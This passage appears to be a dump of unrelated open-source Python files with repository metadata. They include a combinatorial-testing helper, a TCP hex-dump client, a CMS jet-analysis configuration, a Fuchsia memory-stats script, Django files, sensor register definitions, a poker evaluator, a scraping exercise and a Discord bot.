check_valid_input(new_list): uniq = set() for fct in new_list: if len(fct) == 0: return False else: for lvl in fct: if lvl in uniq: return False else: uniq.add(lvl) return True # function to run the greedy version of the combinatorial testing algorithm # new_list is a 2D list where the outer layer represents the factors and the inner layer represents the levels # strength represents the n of n-way coverage def greedy_algorithm(new_list, strength, flag): if strength > len(new_list): print("Error: Coverage strength greater than factor count") return [] if not check_valid_input(new_list): print("Error: Input list is invalid") return tuples = TupleSet(new_list, strength) tuples.n_way_recursion(0, (), 0) tuples.update_tuples() # generate a test suite suite = TestSuite(tuples) if flag == 1: return suite.generate_greedy_suite_size() elif flag == 2: tuples.generate_combos() return suite.generate_greedy_suite_speed() # function to run the biased version of the combinatorial testing algorithm # new_list and benefit_list 2D lists of equal size and depth which map a "benefit" value to each value in the main list # exclusions is a list which contains pairs to be excluded from final test cases def biased_algorithm(new_list, benefit_list, exclusions): if not check_valid_input(new_list): print("Error: Input list is invalid") return return generate_biased_suite(new_list, benefit_list, exclusions)
8897697c41d0fe30ec8e32f69914a896a7eb46c8
522a7890df5f313e967ebab336498bebad95a2af
/netdump.py
e269ea0e7dc972a82248b1c1b8e01a9da4423143
[]
no_license
igalashi/udpreg
5055b99f5afcef6ee92da88f247dfcd7b29f948f
bf6cbbfb9d1767f7a98a0a12ba6d1b5518cf338e
refs/heads/main
2023-02-25T19:52:12.776679
2021-01-28T05:22:07
2021-01-28T05:22:07
333,650,246
0
0
null
null
null
null
UTF-8
Python
false
false
2,090
py
#!/usr/bin/env python3 import socket import struct import sys import datetime HOST = '192.168.10.55' PORT = 24 SIZE = 1024*256 F_DUMP = True F_TDUMP = False def read_net(host, port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) except socket.error as e: print("Connection error", e) s.close() return nread = 0 while True: data = s.recv(SIZE) #print('Len:', len(data)) if len(data) == 0: break if F_DUMP: udata = struct.unpack(str(len(data))+'B', data) for i in range(0, len(udata), 1): if nread % 16 == 0: print('\n{:06x} : '.format(nread), end='') print('{:02x} '.format(udata[i]), end='') nread = nread + 1 if F_TDUMP: print(data) sys.stdout.flush() s.close() def print_help(): print(args[0], '-h <host name> -p <port number>') print(args[0], '-d : diable hex dump') print(args[0], '-t : Text dump') print(args[0], '-s <Buffer size>') if __name__ == '__main__': args = sys.argv host_flag = False port_flag = False size_flag = False for argv in args: if argv == '--help': print_help() exit(0) if argv == '-h': host_flag = True continue if host_flag: HOST = argv host_flag = False continue if argv == '-p': port_flag = True continue if port_flag: PORT = argv port_flag = False continue if argv == '-s': size_flag = True continue if size_flag: SIZE = argv size_flag = False continue if argv == '-d': F_DUMP = False continue if argv == '-t': F_TDUMP = True continue print('Host:', HOST, 'Port:', PORT) read_net(HOST, int(PORT))
1ca298b1212fae9af4fecf4f5f7a6eb31cb1950a
37c243e2f0aab70cbf38013d1d91bfc3a83f7972
/pp7TeV/HeavyIonsAnalysis/JetAnalysis/python/jets/akVs7CaloJetSequence_pp_mc_bTag_cff.py
b03080540b815d5267838a1fc5a38e30923e284a
[]
no_license
maoyx/CMSWork
82f37256833cbe4c60cb8df0b4eb68ceb12b65e7
501456f3f3e0f11e2f628b40e4d91e29668766d5
refs/heads/master
2021-01-01T18:47:55.157534
2015-03-12T03:47:15
2015-03-12T03:47:15
10,951,799
0
0
null
null
null
null
UTF-8
Python
false
false
12,040
py
import FWCore.ParameterSet.Config as cms from PhysicsTools.PatAlgos.patHeavyIonSequences_cff import * from HeavyIonsAnalysis.JetAnalysis.inclusiveJetAnalyzer_cff import * from HeavyIonsAnalysis.JetAnalysis.bTaggers_cff import * from RecoJets.JetProducers.JetIDParams_cfi import * akVs7Calomatch = patJetGenJetMatch.clone( src = cms.InputTag("akVs7CaloJets"), matched = cms.InputTag("ak7HiGenJets") ) akVs7Caloparton = patJetPartonMatch.clone(src = cms.InputTag("akVs7CaloJets") ) akVs7Calocorr = patJetCorrFactors.clone( useNPV = False, # primaryVertices = cms.InputTag("hiSelectedVertex"), levels = cms.vstring('L2Relative','L3Absolute'), src = cms.InputTag("akVs7CaloJets"), payload = "AKVs7Calo_HI" ) akVs7CaloJetID= cms.EDProducer('JetIDProducer', JetIDParams, src = cms.InputTag('akVs7CaloJets')) akVs7Caloclean = heavyIonCleanedGenJets.clone(src = cms.InputTag('ak7HiGenJets')) akVs7CalobTagger = bTaggers("akVs7Calo") #create objects locally since they dont load properly otherwise akVs7Calomatch = akVs7CalobTagger.match akVs7Caloparton = akVs7CalobTagger.parton akVs7CaloPatJetFlavourAssociation = akVs7CalobTagger.PatJetFlavourAssociation akVs7CaloJetTracksAssociatorAtVertex = akVs7CalobTagger.JetTracksAssociatorAtVertex akVs7CaloSimpleSecondaryVertexHighEffBJetTags = akVs7CalobTagger.SimpleSecondaryVertexHighEffBJetTags akVs7CaloSimpleSecondaryVertexHighPurBJetTags = akVs7CalobTagger.SimpleSecondaryVertexHighPurBJetTags akVs7CaloCombinedSecondaryVertexBJetTags = akVs7CalobTagger.CombinedSecondaryVertexBJetTags akVs7CaloCombinedSecondaryVertexMVABJetTags = akVs7CalobTagger.CombinedSecondaryVertexMVABJetTags akVs7CaloJetBProbabilityBJetTags = akVs7CalobTagger.JetBProbabilityBJetTags akVs7CaloSoftMuonByPtBJetTags = akVs7CalobTagger.SoftMuonByPtBJetTags akVs7CaloSoftMuonByIP3dBJetTags = akVs7CalobTagger.SoftMuonByIP3dBJetTags akVs7CaloTrackCountingHighEffBJetTags = akVs7CalobTagger.TrackCountingHighEffBJetTags akVs7CaloTrackCountingHighPurBJetTags = akVs7CalobTagger.TrackCountingHighPurBJetTags akVs7CaloPatJetPartonAssociation = akVs7CalobTagger.PatJetPartonAssociation akVs7CaloImpactParameterTagInfos = akVs7CalobTagger.ImpactParameterTagInfos akVs7CaloJetProbabilityBJetTags = akVs7CalobTagger.JetProbabilityBJetTags akVs7CaloPositiveOnlyJetProbabilityJetTags = akVs7CalobTagger.PositiveOnlyJetProbabilityJetTags akVs7CaloNegativeOnlyJetProbabilityJetTags = akVs7CalobTagger.NegativeOnlyJetProbabilityJetTags akVs7CaloNegativeTrackCountingHighEffJetTags = akVs7CalobTagger.NegativeTrackCountingHighEffJetTags akVs7CaloNegativeTrackCountingHighPur = akVs7CalobTagger.NegativeTrackCountingHighPur akVs7CaloNegativeOnlyJetBProbabilityJetTags = akVs7CalobTagger.NegativeOnlyJetBProbabilityJetTags akVs7CaloPositiveOnlyJetBProbabilityJetTags = akVs7CalobTagger.PositiveOnlyJetBProbabilityJetTags akVs7CaloSecondaryVertexTagInfos = akVs7CalobTagger.SecondaryVertexTagInfos akVs7CaloSimpleSecondaryVertexHighEffBJetTags = akVs7CalobTagger.SimpleSecondaryVertexHighEffBJetTags akVs7CaloSimpleSecondaryVertexHighPurBJetTags = akVs7CalobTagger.SimpleSecondaryVertexHighPurBJetTags akVs7CaloCombinedSecondaryVertexBJetTags = akVs7CalobTagger.CombinedSecondaryVertexBJetTags akVs7CaloCombinedSecondaryVertexMVABJetTags = akVs7CalobTagger.CombinedSecondaryVertexMVABJetTags akVs7CaloSecondaryVertexNegativeTagInfos = akVs7CalobTagger.SecondaryVertexNegativeTagInfos akVs7CaloSimpleSecondaryVertexNegativeHighEffBJetTags = akVs7CalobTagger.SimpleSecondaryVertexNegativeHighEffBJetTags akVs7CaloSimpleSecondaryVertexNegativeHighPurBJetTags = akVs7CalobTagger.SimpleSecondaryVertexNegativeHighPurBJetTags akVs7CaloCombinedSecondaryVertexNegativeBJetTags = akVs7CalobTagger.CombinedSecondaryVertexNegativeBJetTags akVs7CaloCombinedSecondaryVertexPositiveBJetTags = akVs7CalobTagger.CombinedSecondaryVertexPositiveBJetTags akVs7CaloSoftMuonTagInfos = akVs7CalobTagger.SoftMuonTagInfos akVs7CaloSoftMuonBJetTags = akVs7CalobTagger.SoftMuonBJetTags akVs7CaloSoftMuonByIP3dBJetTags = akVs7CalobTagger.SoftMuonByIP3dBJetTags akVs7CaloSoftMuonByPtBJetTags = akVs7CalobTagger.SoftMuonByPtBJetTags akVs7CaloNegativeSoftMuonByPtBJetTags = akVs7CalobTagger.NegativeSoftMuonByPtBJetTags akVs7CaloPositiveSoftMuonByPtBJetTags = akVs7CalobTagger.PositiveSoftMuonByPtBJetTags akVs7CaloPatJetFlavourId = cms.Sequence(akVs7CaloPatJetPartonAssociation*akVs7CaloPatJetFlavourAssociation) akVs7CaloJetBtaggingIP = cms.Sequence(akVs7CaloImpactParameterTagInfos * (akVs7CaloTrackCountingHighEffBJetTags + akVs7CaloTrackCountingHighPurBJetTags + akVs7CaloJetProbabilityBJetTags + akVs7CaloJetBProbabilityBJetTags + akVs7CaloPositiveOnlyJetProbabilityJetTags + akVs7CaloNegativeOnlyJetProbabilityJetTags + akVs7CaloNegativeTrackCountingHighEffJetTags + akVs7CaloNegativeTrackCountingHighPur + akVs7CaloNegativeOnlyJetBProbabilityJetTags + akVs7CaloPositiveOnlyJetBProbabilityJetTags ) ) akVs7CaloJetBtaggingSV = cms.Sequence(akVs7CaloImpactParameterTagInfos * akVs7CaloSecondaryVertexTagInfos * (akVs7CaloSimpleSecondaryVertexHighEffBJetTags + akVs7CaloSimpleSecondaryVertexHighPurBJetTags + akVs7CaloCombinedSecondaryVertexBJetTags + akVs7CaloCombinedSecondaryVertexMVABJetTags ) ) akVs7CaloJetBtaggingNegSV = cms.Sequence(akVs7CaloImpactParameterTagInfos * akVs7CaloSecondaryVertexNegativeTagInfos * (akVs7CaloSimpleSecondaryVertexNegativeHighEffBJetTags + akVs7CaloSimpleSecondaryVertexNegativeHighPurBJetTags + akVs7CaloCombinedSecondaryVertexNegativeBJetTags + akVs7CaloCombinedSecondaryVertexPositiveBJetTags ) ) akVs7CaloJetBtaggingMu = cms.Sequence(akVs7CaloSoftMuonTagInfos * (akVs7CaloSoftMuonBJetTags + akVs7CaloSoftMuonByIP3dBJetTags + akVs7CaloSoftMuonByPtBJetTags + akVs7CaloNegativeSoftMuonByPtBJetTags + akVs7CaloPositiveSoftMuonByPtBJetTags ) ) akVs7CaloJetBtagging = cms.Sequence(akVs7CaloJetBtaggingIP *akVs7CaloJetBtaggingSV *akVs7CaloJetBtaggingNegSV *akVs7CaloJetBtaggingMu ) akVs7CalopatJetsWithBtagging = patJets.clone(jetSource = cms.InputTag("akVs7CaloJets"), genJetMatch = cms.InputTag("akVs7Calomatch"), genPartonMatch = cms.InputTag("akVs7Caloparton"), jetCorrFactorsSource = cms.VInputTag(cms.InputTag("akVs7Calocorr")), JetPartonMapSource = cms.InputTag("akVs7CaloPatJetFlavourAssociation"), trackAssociationSource = cms.InputTag("akVs7CaloJetTracksAssociatorAtVertex"), discriminatorSources = cms.VInputTag(cms.InputTag("akVs7CaloSimpleSecondaryVertexHighEffBJetTags"), cms.InputTag("akVs7CaloSimpleSecondaryVertexHighPurBJetTags"), cms.InputTag("akVs7CaloCombinedSecondaryVertexBJetTags"), cms.InputTag("akVs7CaloCombinedSecondaryVertexMVABJetTags"), cms.InputTag("akVs7CaloJetBProbabilityBJetTags"), cms.InputTag("akVs7CaloJetProbabilityBJetTags"), cms.InputTag("akVs7CaloSoftMuonByPtBJetTags"), cms.InputTag("akVs7CaloSoftMuonByIP3dBJetTags"), cms.InputTag("akVs7CaloTrackCountingHighEffBJetTags"), cms.InputTag("akVs7CaloTrackCountingHighPurBJetTags"), ), jetIDMap = cms.InputTag("akVs7CaloJetID"), addBTagInfo = True, addTagInfos = True, addDiscriminators = True, addAssociatedTracks = True, addJetCharge = False, addJetID = True, getJetMCFlavour = True, addGenPartonMatch = True, addGenJetMatch = True, embedGenJetMatch = True, embedGenPartonMatch = True, embedCaloTowers = False, embedPFCandidates = True ) akVs7CaloJetAnalyzer = inclusiveJetAnalyzer.clone(jetTag = cms.InputTag("akVs7CalopatJetsWithBtagging"), genjetTag = 'ak7HiGenJets', rParam = 0.7, matchJets = cms.untracked.bool(False), matchTag = 'patJetsWithBtagging', pfCandidateLabel = cms.untracked.InputTag('particleFlow'), trackTag = cms.InputTag("generalTracks"), fillGenJets = True, isMC = True, genParticles = cms.untracked.InputTag("genParticles"), eventInfoTag = cms.InputTag("generator"), doLifeTimeTagging = cms.untracked.bool(True), doLifeTimeTaggingExtras = cms.untracked.bool(True), bTagJetName = cms.untracked.string("akVs7Calo"), genPtMin = cms.untracked.double(15), hltTrgResults = cms.untracked.string('TriggerResults::'+'HISIGNAL') ) akVs7CaloJetSequence_mc = cms.Sequence( akVs7Caloclean * akVs7Calomatch * akVs7Caloparton * akVs7Calocorr * akVs7CaloJetID * akVs7CaloPatJetFlavourId * akVs7CaloJetTracksAssociatorAtVertex * akVs7CaloJetBtagging * akVs7CalopatJetsWithBtagging * akVs7CaloJetAnalyzer ) akVs7CaloJetSequence_data = cms.Sequence(akVs7Calocorr * akVs7CaloJetTracksAssociatorAtVertex * akVs7CaloJetBtagging * akVs7CalopatJetsWithBtagging * akVs7CaloJetAnalyzer ) akVs7CaloJetSequence_jec = akVs7CaloJetSequence_mc akVs7CaloJetSequence_mix = akVs7CaloJetSequence_mc akVs7CaloJetSequence = cms.Sequence(akVs7CaloJetSequence_mc)
de10f4f519cf28b914e1a17447eb377a9d1e1217
1d5c13a2cf04595e443d1df19abb126b7c99e5fa
/dart/vmos.py
ff3821b9f2e46baf909af21d4297d61be4f34acf
[ "BSD-3-Clause" ]
permissive
jpcoding/scripts
27b6cd099bd5d5eb9f9e8665423d9b2b2311352f
69a1fcfac1783772482a89114aa31d226b4dbc18
refs/heads/master
2020-03-23T16:19:05.994716
2018-07-21T03:12:37
2018-07-21T03:56:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,949
py
#!/usr/bin/env python # Copyright 2018 The Fuchsia Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import argparse import os import paths import subprocess import sys CATEGORIES = [ 'dart-oldspace', 'dart-newspace', 'jemalloc-heap', 'pthread_t', 'magma_create_buffer', 'ScudoPrimary', 'ScudoSecondary', 'lib', ] def FxSSH(address, command): fx = os.path.join(paths.FUCHSIA_ROOT, 'scripts', 'fx') cmd = [fx, 'ssh', address] + command try: result = subprocess.check_output(cmd, stderr=subprocess.STDOUT) except subprocess.CalledProcessError as e: print ("command failed: " + ' '.join(cmd) + "\n" + "output: " + e.output) return None return result def HumanToBytes(size_str): last = size_str[-1] KB = 1024 if last == 'B': multiplier = 1 elif last == 'k': multiplier = KB elif last == 'M': multiplier = KB * KB elif last == 'G': multiplier = KB * KB * KB elif last == 'T': multiplier = KB * KB * KB * KB else: raise Exception('Unknown multiplier ' + last) return float(size_str[:-1]) * multiplier def BytesToHuman(num, suffix='B'): for unit in ['','Ki','Mi','Gi','Ti','Pi','Ei','Zi']: if abs(num) < 1024.0: return "%3.1f%s%s" % (num, unit, suffix) num /= 1024.0 return "%.1f%s%s" % (num, 'Yi', suffix) # The output of vmos is: # rights koid parent #chld #map #shr size alloc name [app] # on each line def ParseVmos(vmos, matchers): vmo_lines = vmos.strip().split('\n') sizes = {} koids = {} for vmo in vmo_lines: # 1: koid, 5: process sharing, 6: size, 7: alloc, 8: name [9: app] data = vmo.split() if len(data) < 9: continue name = data[8] if len(data) >= 10: name = name + ' ' + data[9] try: b = HumanToBytes(data[7]) except: continue koid = int(data[1]) if koid in koids: continue koids[koid] = True sharing = int(data[5]) if sharing == 0: continue for matcher in matchers: if matcher not in name: continue if matcher in sizes: sizes[matcher] = sizes[matcher] + (b / sharing) else: sizes[matcher] = (b / sharing) break if 'total' in sizes: sizes['total'] = sizes['total'] + (b / sharing) else: sizes['total'] = (b / sharing) return sizes def Main(): parser = argparse.ArgumentParser('Display stats about Dart VMOs') parser.add_argument('--pid', '-p', required=True, help='pid of the target process.') parser.add_argument('--address', '-a', required=True, help='ipv4 address of the target device') args = parser.parse_args() vmos = FxSSH(args.address, ['vmos', args.pid]) sizes = ParseVmos(vmos, CATEGORIES) for k, v in sizes.iteritems(): print k + ", " + BytesToHuman(v) return 0 if __name__ == '__main__': sys.exit(Main())
307d0bfe62ec0d51181f9de84c8387870411b771
ce4f650cc3ba3da9fd421d9e1e086e712dda5a96
/vdfvdfvdfv.py
c9bbfacd8191f9e849249a41a5ff93a11f79bd3f
[]
no_license
DanyloA/TESTREPO
b4de25f590565a67274d2f25cde22e1a1af233ff
b5235d1dbf4ec9eb3d24a9e461cd3984139d6896
refs/heads/master
2023-04-01T07:23:24.337157
2021-04-17T13:38:45
2021-04-17T13:38:45
356,624,684
0
0
null
null
null
null
UTF-8
Python
false
false
92
py
file = open('lol.txt', 'w') file.write('Some useful data!\nSecond line here!') file.close()
4245c92fbca0f839ad73f193a2aadfd606996b90
6ea2ba5f290605a2bc713c8eb8e7ea7e2d8a2b2c
/polls/migrations/0014_auto_20191122_1231.py
42e10542dbb258428ae2afd1ce6b2070dc124387
[]
no_license
Assiya-Zhiyenbek/gloss1
ea1e6cc3a8cdc95373fa301c9f4816f93baf90c7
1049cf40147a79ee62b3486a2b086fcac4d95a53
refs/heads/master
2022-03-30T17:35:33.536814
2020-04-23T05:00:50
2020-04-23T05:00:50
258,098,669
0
0
null
null
null
null
UTF-8
Python
false
false
418
py
# Generated by Django 2.2.4 on 2019-11-22 12:31 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('polls', '0013_auto_20191122_1230'), ] operations = [ migrations.AlterField( model_name='post', name='videofile', field=models.FileField(null=True, upload_to='posts/', verbose_name=''), ), ]
d35d7ccec024747e779e9543b7ac5c259d7d3cae
760e84fc1ae36ccad2bf70bfac3d2ff18291b8ac
/gimbal/sensor/imu6050_defs.py
f12546e6e67a5627178eccd20659eb642bd53a4e
[]
no_license
dpm76/Gimbal
43b11497221657848f41a6440945d0601b379e23
6803867b359db76a420b2cc46192e0c475e35e6b
refs/heads/master
2022-09-27T23:33:58.402529
2022-08-27T10:06:09
2022-08-27T10:06:09
79,473,892
5
2
null
null
null
null
UTF-8
Python
false
false
1,483
py
PWR_MGM1 = 0x6b PWR_MGM2 = 0x6c GYRO_XOUT = 0x43 GYRO_YOUT = 0x45 GYRO_ZOUT = 0x47 ACC_XOUT = 0x3b ACC_YOUT = 0x3d ACC_ZOUT = 0x3f SMPRT_DIV = 0x19 CONFIG=0x1a GYRO_CONFIG = 0x1b ACCEL_CONFIG = 0x1c RESET=0b10000000 CLK_SEL_X = 1 # Accelerometer | Gyroscope # F-sampling 1kHz | # Bandwidth(Hz) | Delay(ms) | Bandwidth(Hz) | Delay (ms) | F-sampling (kHz) # ---------------------------------------------------------------------------- DLPF_CFG_0 = 0 # 260 | 0.0 | 256 | 0.98 | 8 DLPF_CFG_1 = 1 # 184 | 2.0 | 188 | 1.9 | 1 DLPF_CFG_2 = 2 # 94 | 3.0 | 98 | 2.8 | 1 DLPF_CFG_3 = 3 # 44 | 4.9 | 42 | 4.8 | 1 DLPF_CFG_4 = 4 # 21 | 8.5 | 20 | 8.3 | 1 DLPF_CFG_5 = 5 # 10 | 13.8 | 10 | 13.4 | 1 DLPF_CFG_6 = 6 # 5 | 19.0 | 5 | 18.6 | 1 # ---------------------------------------------------------------------------- DLPF_CFG_7 = 7 # RESERVED | RESERVED | 8 GFS_250 = 0 GFS_500 = 0b00001000 GFS_1000 = 0b00010000 GFS_2000 = 0b00011000 AFS_2 = 0 AFS_4 = 0b00001000 AFS_8 = 0b00010000 AFS_16 = 0b00011000
a2331bda14ce89bd8a13fe6811035ed885a0350a
e4e21848276222fa42eef1e00593ebbf27cb67a3
/documentation/apps.py
d3df6cf8164e567d9cdaa04b353a237ad3bb1a0a
[]
no_license
js-moreno/tsgtest-server
c094ef78ac6fa6b13f3d565d3b491885672128ec
fe2537fa2acdb331a63fc7eb7e44a33448a270bf
refs/heads/main
2023-06-05T05:58:00.342626
2021-06-28T04:24:46
2021-06-28T04:24:46
380,318,874
0
0
null
null
null
null
UTF-8
Python
false
false
203
py
# Django from django.apps import AppConfig from django.utils.translation import gettext_lazy as _ class DocumentationConfig(AppConfig): name = "documentation" verbose_name = _("Documentation")
8533a7e79a1e9ddbec9802a4530ec99335101e5f
b47e9b95a831cf1101e8e115a6ad68055b2f1b9f
/Programs/Program 2/poker.py
4fff0dd8192b42b9ee0dced68777f787fed7de6b
[]
no_license
austin-hull09/Python
b1d50fdf36343c3f92dcd6cd813c5e7af069a7c8
df03931f4d215068abb5af9af3275c9ce8f40b30
refs/heads/master
2022-02-22T19:38:16.248317
2019-10-09T18:34:48
2019-10-09T18:34:48
213,994,377
0
0
null
null
null
null
UTF-8
Python
false
false
2,334
py
# defining possible poker hands (flush, 2 of a kind, or 3 of a kind) def three_of_a_kind(hand_as_list, output): if hand_as_list[0][0] == hand_as_list[1][0] == hand_as_list[2][0]: output.write("THREE OF A KIND\n") else: return "false" def flush(hand_as_list, output): if hand_as_list[0][1] == hand_as_list[1][1] == hand_as_list[2][1]: output.write("FLUSH\n") else: return "false" def two_of_a_kind(hand_as_list, output): if (hand_as_list[0][0] == hand_as_list[1][0] or hand_as_list[0][0] == hand_as_list[2][0] or hand_as_list[1][0] == hand_as_list[2][0]): output.write("TWO OF A KIND\n") else: return "false" # prints the cards received from the input file def print_hand(hand_as_list, poker_output): poker_output.write("Poker Hand\n") poker_output.write("----------\n") number = 0 for card in hand_as_list: number += 1 poker_output.write("Card " + str(number) + ": " + str(hand_as_list[(number - 1)][0].capitalize()) + " of " + str(hand_as_list[(number - 1)][1].capitalize()) + "\n") poker_output.write("\n") # uses functions defined earlier to evaluate outcome of the hand and write it to output file def evaluate(hand_as_list, poker_output): poker_output.write("Poker Hand Evaluation: ") if flush(hand_as_list, poker_output) == "false": if three_of_a_kind(hand_as_list, poker_output) == "false": if two_of_a_kind(hand_as_list, poker_output) == "false": poker_output.write("NOTHING\n") poker_output.write("\n") # -------------------------------------- # Do not change anything below this line # -------------------------------------- def main(poker_input, poker_output, cards_in_hand): for hand in poker_input: hand = hand.split() hand_as_list = [] for i in range(cards_in_hand): hand_as_list.append([hand[0], hand[1]]) hand = hand[2:] print_hand(hand_as_list, poker_output) evaluate(hand_as_list, poker_output) # -------------------------------------- poker_input = open("poker.in", "r") poker_output = open("poker.out", "w") main(poker_input, poker_output, 3) poker_input.close() poker_output.close()
9797e2c4bb8719254b794d70800ffbf820351574
0ebaf2ff7b9a5746663c11232a4bcad408a7dbba
/Homework1_2.py
570c0934824ca9d5257ab7702d8d19c8b5bae96c
[]
no_license
kii223/Project
def3eacd20abf0f9d80d4934f03e3fea293b4ed8
4061e8891eefdf604df3035fc9708515fb5c4a61
refs/heads/master
2021-09-16T14:02:02.457010
2018-06-21T15:42:04
2018-06-21T15:42:04
114,135,261
0
0
null
null
null
null
UTF-8
Python
false
false
2,538
py
from bs4 import BeautifulSoup info = [] with open('I:/Pycharm/Plan-for-combating-master/week1/1_2/1_2answer_of_homework/1_2_homework_required/index.html','r') as web_data: Soup = BeautifulSoup(web_data,'lxml') images = Soup.select('body > div:nth-of-type(1) > div > div.col-md-9 > div:nth-of-type(2) > div > div > img') titles = Soup.select('body > div:nth-of-type(1) > div > div.col-md-9 > div:nth-of-type(2) > div > div > div.caption > h4 > a') discribs = Soup.select('body > div:nth-of-type(1) > div > div.col-md-9 > div:nth-of-type(2) > div > div > div.caption > p') views = Soup.select('body > div:nth-of-type(1) > div > div.col-md-9 > div:nth-of-type(2) > div > div > div.ratings > p.pull-right') rates = Soup.select('body > div:nth-of-type(1) > div > div.col-md-9 > div:nth-of-type(2) > div > div > div.ratings > p:nth-of-type(2)') prices = Soup.select('body > div:nth-of-type(1) > div > div.col-md-9 > div:nth-of-type(2) > div > div > div.caption > h4.pull-right') #lenRate = [] #for i in rates: # lenRate.append(len(i.find_all('span','glyphicon glyphicon-star'))) for image,title,discrib,view,rate,price in zip(images,titles,discribs,views,rates,prices): data = { 'title':title.get_text(), 'discrib':discrib.get_text(), 'view':view.get_text(), 'rate':'%s stars' % len(rate.find_all('span','glyphicon glyphicon-star')), 'price':price.get_text(), 'image':image.get('src') } info.append(data) for i in info: print(i) '''for title,image,discrib,rate,cate in zip(titles,images,discribs,rates,cates): data ={ 'title':title.get_text(), 'rate':rate.get_text(), 'discrib':discrib.get_text(), 'cate':list(cate.stripped_strings), 'image':image.get('src') } info.append(data) ''' ''' body > div:nth-child(2) > div > div.col-md-9 > div:nth-child(2) > div:nth-child(1) > div > div.caption > h4:nth-child(2) > a /html/body/div[1]/div/div[2]/div[2]/div[1]/div/img body > div:nth-child(2) > div > div.col-md-9 > div:nth-child(2) > div:nth-child(1) > div > img body > div:nth-child(2) > div > div.col-md-9 > div:nth-child(2) > div:nth-child(1) > div > img body > div:nth-child(2) > div > div.col-md-9 > div:nth-child(2) > div:nth-child(1) > div > div.caption > h4:nth-child(2) > a body > div:nth-child(2) > div > div.col-md-9 > div:nth-child(2) > div:nth-child(1) > div > div.ratings > p:nth-child(2) > span:nth-child(1) '''
ba8e33c93b9dce9a5dda9aa99cb065a7f0c7a588
31af57d3cdc1088397849a41845c101959aeccde
/article/forms.py
fe39e22d041ce6f7221af04ea31cda3009f42b69
[]
no_license
ihsancan399/blog-app
a8ea8253f5c14c1409afd99b61eff60cd02e8f1d
7082646b378fbe45e14a4755a5bf8ea988559961
refs/heads/master
2022-04-25T11:36:20.209282
2020-04-30T08:32:43
2020-04-30T08:32:43
260,154,752
1
0
null
null
null
null
UTF-8
Python
false
false
181
py
from django import forms from .models import Article class ArticleForm(forms.ModelForm): class Meta: model = Article fields = ["title","content","article_img"]
fa9b5a6f7abc5bfab0aacb92d83e5116f76ccbfe
45ecf382b20f58c8af9c9b1dcb24441f32247ca4
/makeLabel.py
2d67ca576f1dee9a7713d6cb31736b6e5ee4553e
[]
no_license
zouqqz/data-process
d12b3dbb1dd1c6379dbc0ee5a2112af08d952c7b
63a4c1d9108667b7e8e959e427348271e437eddd
refs/heads/master
2021-09-02T15:40:26.003701
2018-01-03T12:49:23
2018-01-03T12:49:23
115,061,485
0
0
null
null
null
null
UTF-8
Python
false
false
2,123
py
# -*- coding: utf-8 -*- """ 生成label.txt文件,文件内容类似 105_03_629 5 1 5 105_03_613 5 1 5 105_03_668 5 1 5 105_03_501 5 1 5 """ import os import sys import config_default import shutil os.chdir(sys.path[0]) xml_folder = os.path.join(os.path.pardir, config_default.configs['folder'], 'annotations', 'xmls') image_folder = os.path.join(os.path.pardir, config_default.configs['folder'], 'images') data_folder = os.path.join(os.path.pardir, config_default.configs['folder']) trainval_file_path = os.path.join(data_folder, 'annotations', 'trainval.txt') def compare(xml_list, image_list): ret_list = [] xml_list_with_no_ext = [] image_list_with_no_ext = [] for x in image_list: if os.path.splitext(x)[1] not in ('.jpg', '.png'): continue image_name = os.path.splitext(x)[0] image_list_with_no_ext.append(image_name) for x in xml_list: if os.path.splitext(x)[1] not in ('.xml',): continue file_name = os.path.splitext(x)[0] xml_list_with_no_ext.append(file_name) for x in xml_list_with_no_ext: if x not in image_list_with_no_ext: ret_list.append(x) for x in image_list_with_no_ext: if x not in xml_list_with_no_ext: ret_list.append(x) if len(ret_list) > 0: print('The following label is missing:') print(ret_list) def makeLabels(xml_list): if os.path.isfile(trainval_file_path): os.remove(trainval_file_path) with open(trainval_file_path, 'a') as trainval_file: for x in xml_list: if os.path.splitext(x)[1] not in ('.xml',): continue trainval_file.write('%s %s %s %s\n' % (x[:-4], x[2], 1, x[2])) shutil.copyfile(trainval_file_path, os.path.join(os.path.dirname(trainval_file_path), 'list.txt')) shutil.copyfile(trainval_file_path, os.path.join(os.path.dirname(trainval_file_path), 'test.txt')) if __name__ == "__main__": xml_list = os.listdir(xml_folder) image_list = os.listdir(image_folder) compare(xml_list, image_list) makeLabels(xml_list)
86ba6d19d0a6b155f867d0b692e00beb689c4b25
d29225541b301a6cea5129b0c79f68d855208de4
/main.py
a54563a24776da18d5f71839444908624bc3c2dd
[ "MIT" ]
permissive
Quantaxer/Discord-Friend
bb6e6ace377e49cf1dfc4538514cf6f254186427
cec53a326aab13f897adeaa42efbb565363c5643
refs/heads/master
2020-05-24T00:14:41.983177
2019-06-30T16:16:05
2019-06-30T16:16:05
187,011,126
1
0
null
null
null
null
UTF-8
Python
false
false
2,353
py
# import statements from discord.ext import commands # The token which is used to connect to discord f = open("token.txt", "r") TOKEN = f.readline().strip() f.close() client = commands.Bot(command_prefix='~', case_insensitive=True) # remove default help command to replace with custom help command # List of file names go here for loading cogs extensions = ( 'cogs.fun', 'cogs.message', 'cogs.admin', 'cogs.reminder', 'cogs.wiki', 'cogs.blackjack', 'cogs.reddit' ) # Loops through extensions list and loads each cog if __name__ == '__main__': for extension in extensions: client.load_extension(extension) # Shows we are connected and running @client.event async def on_ready(): print('Logged in as') print(client.user.name) print(client.user.id) print('------') # Default error handler @client.event async def on_command_error(ctx, error): # default errors if isinstance(error, commands.CommandNotFound): await ctx.send("This ain't it chief (Command not found)") elif isinstance(error, commands.NotOwner): await ctx.send('Who are you? You didn\'t make me') # Non standard errors elif str(ctx.command).partition(" ")[0] == "ackshually": await ctx.send("Error: Missing search parameter.\nUsage: ~ackshually " + str(ctx.command).split(" ")[1] + " (search term)") elif str(ctx.command).partition(" ")[0] == "reminder": await ctx.send("Error: Missing reminder parameter.\nUsage: ~reminder " + str(ctx.command).split(" ")[1] + " (reminder)") else: await ctx.send(error) @client.event async def on_command_completion(ctx): await ctx.message.add_reaction(emoji='✅') @client.command() @commands.is_owner() async def load(ctx, cog): """Loads an existing cog.\nBot owner only.""" try: client.load_extension(cog) await ctx.send(f'Loaded `{cog}`') except Exception as error: await ctx.send(f'`{cog}` cannot be loaded. [{error}]') @client.command() @commands.is_owner() async def unload(ctx, cog): """Unloads an existing cog.\nBot owner only.""" try: client.unload_extension(cog) await 